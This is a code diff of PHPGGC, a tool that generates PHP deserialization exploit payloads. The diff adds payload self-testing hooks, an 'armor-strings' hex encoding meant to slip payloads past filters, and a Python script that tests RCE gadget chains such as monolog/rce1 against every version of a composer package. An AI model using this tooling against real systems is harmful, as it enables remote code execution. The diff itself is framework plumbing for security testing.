a/lib/PHPGGC/GadgetChain.php +++ b/lib/PHPGGC/GadgetChain.php @@ -21,9 +21,9 @@ * * Along with the generate() method, which converts parameters into an object, * three generic methods are available: - * - process_parameters($parameters) - * - process_object($object) - * - process_serialized($serialized) + * - process_parameters(array $parameters) + * - process_object(object $object) + * - process_serialized(string $serialized) * * Those methods are to be found in other PHPGGC classes, for instance the main * class for handling CLI, PHPGGC. Refer to their documentation to understand @@ -58,6 +58,9 @@ $this->load_gadgets(); } + /** + * Loads the gadgets required by the chain. + */ protected function load_gadgets() { $directory = dirname((new \ReflectionClass($this))->getFileName()); @@ -77,7 +80,7 @@ * Modifies given parameters if required. * Called before `generate()`. * This is called on the gadget chain's parameters, such as for instance - * "remote_file" and "local_file" for a file write chain. + * "remote_path" and "local_path" for a file write chain. * * @param array $parameters Gadget chain parameters * @return array Modified parameters @@ -156,4 +159,39 @@ $class = str_replace('\\', '/', $class); return $class; } + + # Test methods - Internal use only + + /** + * Returns arguments that need to be used to test the gadget chain. + * This method can also setup the testing environment, by creating a file + * for instance. + * + * @return array Arguments the payload need to be generated with, as a + * [key] => [test-value] associative array. + */ + abstract public function test_setup(); + + /** + * Returns whether the deserialisation of the payload yielded the expected + * results. + * + * @param array arguments Arguments the payload was generated with + * @param string result Output of the test_payload.php command + * + * @return bool true if the payload executed successfully. + */ + abstract public function test_confirm($arguments, $output); + + /** + * Cleans up the test environment, e.g. removes a file created by + * test_setup(). + * + * @param array arguments Arguments the payload was generated with + * + * @return null + */ + public function test_cleanup($arguments) + { + } } diff --git a/lib/PHPGGC/Phar/Format.php b/lib/PHPGGC/Phar/Format.php index 678893e..44b5ff7 100644 --- a/lib/PHPGGC/Phar/Format.php +++ b/lib/PHPGGC/Phar/Format.php @@ -52,7 +52,6 @@ $phar = new \Phar($path); $phar->startBuffering(); - $phar->addFromString("dummy", 'test'); $phar->addFromString($this->parameters['filename'], 'test'); $phar->setStub( $this->parameters['prefix'] . diff --git a/lib/PHPGGC/Util.php b/lib/PHPGGC/Util.php new file mode 100644 index 0000000..54620bb --- /dev/null +++ b/lib/PHPGGC/Util.php @@ -0,0 +1,67 @@ +parse_cmdline($argv); - - if($parameters === null) + $arguments = $this->parse_cmdline($argv); + + if($arguments === null) return; - if(count($parameters) < 1) + if(count($arguments) < 1) { $this->help(); return; } - $class = array_shift($parameters); + $class = array_shift($arguments); $gc = $this->get_gadget_chain($class); $this->setup_enhancements(); - $parameters = $this->get_type_parameters($gc, $parameters); - $generated = $this->serialize($gc, $parameters); if(in_array('test-payload', $this->options)) - $this->test_payload($gc, $generated); + { + if(count($arguments) > 0) + $this->o( + "WARNING: Testing a payload ignores payload arguments." + ); + $this->test_payload($gc); + } else + { + $arguments = $this->get_type_arguments($gc, $arguments); + $generated = $this->serialize($gc, $arguments); $this->output_payload($generated); - } - - /** - * Runs generated payload using the ./template/test_payload.php script. - * We have to use system() here, because the classes used during the - * deserialization process are already defined by PHPGGC, and there is no - * mechanism allowing to delete classes in PHP. Therefore, a new PHP process - * has to be created. - */ - public function test_payload($gc, $payload) + } + } + + /** + * Tests whether the payload works in the current environement. + * PHPGGC will generate test arguments, include vendor/autoload.php, run the + * payload, and check whether it was run successfully. + * The script will exit with status 0 if the payload triggered, 1 otherwise. + */ + public function test_payload($gc) { $this->o('Trying to deserialize payload...'); + $arguments = $gc->test_setup(); + $payload = $this->serialize($gc, $arguments); $vector = isset($this->parameters['phar']) ? 'phar' : $gc::$vector; - system( + + # We have to use system() here, because the classes used during the + # deserialization process are already defined by PHPGGC, and there is no + # mechanism allowing to delete classes in PHP. Therefore, a new PHP process + # has to be created. + $output = shell_exec( escapeshellarg(DIR_LIB . '/test_payload.php') . ' ' . escapeshellarg($vector) . ' ' . escapeshellarg(base64_encode($payload)) ); + $result = $gc->test_confirm($arguments, $output); + + $gc->test_cleanup($arguments); + + if($result) + { + $this->o('SUCCESS: Payload triggered !'); + exit(0); + } + else + { + $this->o('FAILURE: Payload did not trigger !'); + exit(1); + } } /** @@ -129,12 +157,24 @@ { $enhancements = []; + if( + in_array('ascii-strings', $this->options) && + in_array('armor-strings', $this->options) + ) { + $this->e( + 'Both ascii-strings and armor-strings are both set but they ' . + 'are mutually exclusive' + ); + } + if(isset($this->parameters['wrapper'])) $enhancements[] = new Enhancement\Wrapper($this->parameters['wrapper']); if(in_array('fast-destruct', $this->options)) $enhancements[] = new Enhancement\FastDestruct(); if(in_array('ascii-strings', $this->options)) - $enhancements[] = new Enhancement\ASCIIStrings(); + $enhancements[] = new Enhancement\ASCIIStrings(false); + if(in_array('armor-strings', $this->options)) + $enhancements[] = new Enhancement\ASCIIStrings(true); if(isset($this->parameters['plus-numbers'])) $enhancements[] = new Enhancement\PlusNumbers( $this->parameters['plus-numbers'] @@ -201,7 +241,7 @@ */ public static function autoload_register() { - spl_autoload_register(array(static::class, 'autoload')); + spl_autoload_register([static::class, 'autoload']); } /** @@ -263,7 +303,7 @@ $base = DIR_GADGETCHAINS . '/' . $name . '/' . $type . '/'; - for($i=1;file_exists($base . $i);$i++); + for($i=1; file_exists($base . $i); $i++); $base = $base . $i; mkdir($base, 0777, true); @@ -527,20 +567,27 @@ $this->o(' right after the unserialize() call, as opposed to at the end of the'); $this->o(' script'); $this->o(' -a, --ascii-strings'); - $this->o(' Uses the \'S\' serialization format instead of the standard \'s\'. This'); - $this->o(' replaces every non-ASCII value to an hexadecimal representation:'); - $this->o(' s:5:"AB"; -> S:5:"A\\00B\\09\\0D";'); + $this->o(' Uses the \'S\' serialization format instead of the standard \'s\' for non-printable chars.'); + $this->o(' This replaces every non-ASCII value to an hexadecimal representation:'); + $this->o(' s:5:"AB"; -> S:5:"A\\00B\\09\\0D";'); $this->o(' This is experimental and it might not work in some cases.'); + $this->o(' -A, --armor-strings'); + $this->o(' Uses the \'S\' serialization format instead of the standard \'s\' for every char.'); + $this->o(' This replaces every character to an hexadecimal representation:'); + $this->o(' s:5:"AB"; -> S:5:"\\41\\00\\42\\09\\0D";'); + $this->o(' This is experimental and it might not work in some cases.'); + $this->o(' Note: Since strings grow by a factor of 3 using this option, the payload can get'); + $this->o(' really long.'); $this->o(' -n, --plus-numbers '); $this->o(' Adds a + symbol in front of every number symbol of the given type.'); $this->o(' For instance, -n iO adds a + in front of every int and object name size:'); $this->o(' O:3:"Abc":1:{s:1:"x";i:3;} -> O:+3:"Abc":1:{s:1:"x";i:+3;}'); $this->o(' Note: Since PHP 7.2, only i and d (float) types can have a +'); $this->o(' -w, --wrapper '); - $this->o(' Specifies a file containing either or both functions:'); - $this->o(' - process_parameters($parameters): called right before object is created'); - $this->o(' - process_object($object): called right before the payload is serialized'); - $this->o(' - process_serialized($serialized): called right after the payload is serialized'); + $this->o(' Specifies a file containing at least one wrapper functions:'); + $this->o(' - process_parameters(array $parameters): called right before object is created'); + $this->o(' - process_object(object $object): called right before the payload is serialized'); + $this->o(' - process_serialized(string $serialized): called right after the payload is serialized'); $this->o(''); $this->o('ENCODING'); $this->o(' -s, --soft Soft URLencode'); @@ -553,7 +600,7 @@ $this->o('CREATION'); $this->o(' -N, --new '); $this->o(' Creates the file structure for a new gadgetchain for given framework'); - $this->o(' Example: ./phpggc -n Drupal RCE'); + $this->o(' Example: ./phpggc -N Drupal RCE'); $this->o(' --test-payload'); $this->o(' Instead of displaying or storing the payload, includes vendor/autoload.php and unserializes the payload.'); $this->o(' The test script can only deserialize __destruct, __wakeup, __toString and PHAR payloads.'); @@ -611,6 +658,7 @@ # Enhancements 'fast-destruct' => false, 'ascii-strings' => false, + 'armor-strings' => false, 'plus-numbers' => true, # Encoders 'soft' => false, @@ -632,7 +680,9 @@ 'phar-jpeg' => 'pj', 'phar-prefix' => 'pp', 'phar-filename' => 'pf', - 'new' => 'N' + 'new' => 'N', + 'ascii-strings' => 'a', + 'armor-strings' => 'A' ] + $abbreviations; # If we are in this function, the argument starts with a dash, so we @@ -784,16 +834,13 @@ } /** - * Convert command line parameters into an array of named parameters, + * Converts command line arguments into an array of named arguments, * specific to the type of payload. */ - protected function get_type_parameters($gc, $parameters) - { - $arguments = $gc::$parameters; - - $values = @array_combine($arguments, $parameters); - - if($values === false) + protected function get_type_arguments($gc, $arguments) + { + $keys = $gc::$parameters; + if(count($keys) != count($arguments)) { $this->o($gc, 2); $this->e( @@ -801,8 +848,7 @@ $this->_get_command_line_gc($gc) ); } - - return $values; + return array_combine($keys, $arguments); } protected function _get_command_line_gc($gc) diff --git a/phpggc b/phpggc index a468521..cd53c87 100755 --- a/phpggc +++ b/phpggc @@ -14,4 +14,5 @@ catch(\PHPGGC\Exception $e) { print("ERROR: " . $e->getMessage() . "\n"); + exit(1); } diff --git a/test-gc-compatibility.py b/test-gc-compatibility.py new file mode 100755 index 0000000..781bca6 --- /dev/null +++ b/test-gc-compatibility.py @@ -0,0 +1,255 @@ +#!/usr/bin/env python3 +""" +Test PHPGGC gadget chains against every version of a composer package. + +Usage: + $ ./test-gc-compatibility.py [gadget-chain-2...] + +Example: + $ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3 + +Required executables: + The program requires phpggc and composer. + By default, it will use the `phpggc` from the current directory, and the + composer from PATH. If you wish to use other paths, use the `PHPGGC_PATH` + and `COMPOSER_PATH` environment variables. + If a file cannot be ran straight up, we'll try using `php ` instead. + +Dependencies: + $ pip install rich + +Credit goes to @M4yFly for the original idea and implementation. +""" + +import subprocess +import argparse +import pathlib +import os +import re +import tempfile +import shutil + + +try: + from rich import print +except ImportError: + print("Please install the `rich` python3 package to use this program.") + print("$ pip install rich") + exit() + + +from rich.progress import Progress +from rich.table import Table + + +class Tester: + """Tests gadget chains against a composer package.""" + + _package = None + _cwd = None + + def run(self): + args = setup_arguments() + self._cwd = os.curdir + self._gcs = args.gadget_chain + self._executor = Executor() + self._package = Package(args.package, executor=self._executor) + + for gc in self._gcs: + self.ensure_gc_exists(gc) + + versions = self._package.get_versions() + print( + f"Testing {len(versions)} versions for " + f"[blue]{self._package.name}[/blue] against " + f"{len(self._gcs)} gadget chains." + ) + + # We'll jump to a temporary directory for phpggc and composer to work + # without breaking anything. + os.chdir(self._package.work_dir) + + self.test_chains_on_versions(versions) + + def ensure_gc_exists(self, name): + """Makes sure that a GC exists.""" + if not self._executor.phpggc("-i", name): + raise TesterException(f"Gadget chain does not exist: {name}") + + def test_chains_on_versions(self, versions): + """Contains the main logic. Each version of the package will be + installed, and each gadget chain will be tested against it. Results + are kept in a table. + """ + table = Table(self._package.name) + table.add_column("Package", justify="center") + + for gc in self._gcs: + table.add_column(gc, justify="center") + + errored_payload_rows = (self.__status_str(False),) + ("[yellow]-",) * len( + self._gcs + ) + + with Progress() as progress: + ptask = progress.add_task("Testing chains", total=len(versions)) + + for version in versions: + progress.update(ptask, advance=1, description=f"Testing ({version})") + try: + tests = self.test_chains_on_version(version) + except ValueError: + table.add_row(version, *errored_payload_rows) + else: + outputs = [self.__status_str(test) for test in tests] + table.add_row(version, self.__status_str(True), *outputs) + + progress.update(ptask, visible=False) + + print(table) + + def __status_str(self, test): + return test and "[green]OK" or "[red]KO" + + def test_chains_on_version(self, version): + self._package.install_version(version) + return [self._executor.phpggc("--test-payload", gc) for gc in self._gcs] + + def cleanup(self): + """Cleans up anything we might have used and go back to the original + directory. + """ + if self._cwd: + os.chdir(self._cwd) + if self._package: + self._package.cleanup() + + +class TesterException(Exception): + pass + + +def setup_arguments(): + parser = argparse.ArgumentParser( + description="Test PHPGGC gadget chains against every version of a composer package." + ) + parser.add_argument("package") + parser.add_argument("gadget_chain", nargs="+") + + return parser.parse_args() + + +class Executor: + """Small wrapper to execute composer and phpggc.""" + + def __init__(self): + self.get_commands() + + def _try_run_command(self, *cmd): + """Tries to run a command to completion: if no exception happens and the + return code is zero, returns True. Otherwise, False. + """ + try: + process = self._run(*cmd) + except (PermissionError, FileNotFoundError) as e: + return False + return process.returncode == 0 + + def _get_valid_run_command(self, php_file): + """Tries to run a PHP file directly (e.g. `./file.php`). If it does not + work, tries with `php file.php`. + Returns the arguments required to launch the file, as tuple. + If nothing works, an exception is raised. + """ + # We will change our current directory during the execution. + # If we can find php_file in the current path, refer to it using an + # absolute path. + # Otherwise, just assume it's an alias or from $PATH. + path = pathlib.Path(php_file) + if path.exists(): + php_file = str(path.absolute()) + + if self._try_run_command(php_file): + return (php_file,) + elif path.exists() and self._try_run_command("php", php_file): + return ("php", php_file) + raise TesterException(f"Unable to run PHP file: {php_file}") + + def get_commands(self): + """Gets the paths of the two required programs, phpggc and composer, and + verifies if they need to be started with "php" as a prefix. + """ + work_dir = pathlib.Path(__file__).parent.resolve() + phpggc = os.environ.get("PHPGGC_PATH", str(work_dir / "phpggc")) + composer = os.environ.get("COMPOSER_PATH", "composer") + + if not pathlib.Path(phpggc).is_file(): + raise TesterException("phpggc executable not found") + + self._phpggc = self._get_valid_run_command(phpggc) + self._composer = self._get_valid_run_command(composer) + + def _run(self, *args): + """Runs a program with given arguments.""" + return subprocess.run(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + + def composer(self, *args): + """Runs composer and returns stdout and stderr as a tuple.""" + process = self._run(*self._composer, *args) + return process.stdout.decode("utf-8"), process.stderr.decode("utf-8") + + def phpggc(self, *args): + """Runs PHPGGC with given arguments and returns whether the execution + was successful or not. + """ + return self._run(*self._phpggc, *args).returncode == 0 + + +class Package: + """Represents a composer package.""" + + def __init__(self, name, executor): + self.name = name + self._executor = executor + self.work_dir = pathlib.Path(tempfile.mkdtemp(prefix="phpggc")) + + def get_versions(self): + """Uses composer to obtain each version (or tag) for the package.""" + versions, _ = self._executor.composer("show", "-a", self.name) + versions = re.search(r"versions :(.*)\ntype", versions).group(1) + return [v.strip() for v in versions.split(",")] + + def clean_workdir(self, final=False): + """Removes any composer related file in the working directory, such as + composer.json and vendor/. + """ + (self.work_dir / "composer.json").unlink(missing_ok=True) + (self.work_dir / "composer.lock").unlink(missing_ok=True) + shutil.rmtree(self.work_dir / "vendor", ignore_errors=True) + if final: + self.work_dir.rmdir() + + def install_version(self, version): + """Uses composer to install a specific version of the package.""" + self.clean_workdir() + _, stderr = self._executor.composer( + "require", "-q", "--ignore-platform-reqs", f"{self.name}:{version}" + ) + if stderr: + raise ValueError(f"Unable to install version: {version}") + + def cleanup(self): + self.clean_workdir(final=True) + + +if __name__ == "__main__": + tester = Tester() + + try: + tester.run() + except TesterException as e: + print(f"[red]Error: {e}[/red]") + except KeyboardInterrupt: + print(f"[red]Execution interrupted.") + finally: + tester.cleanup()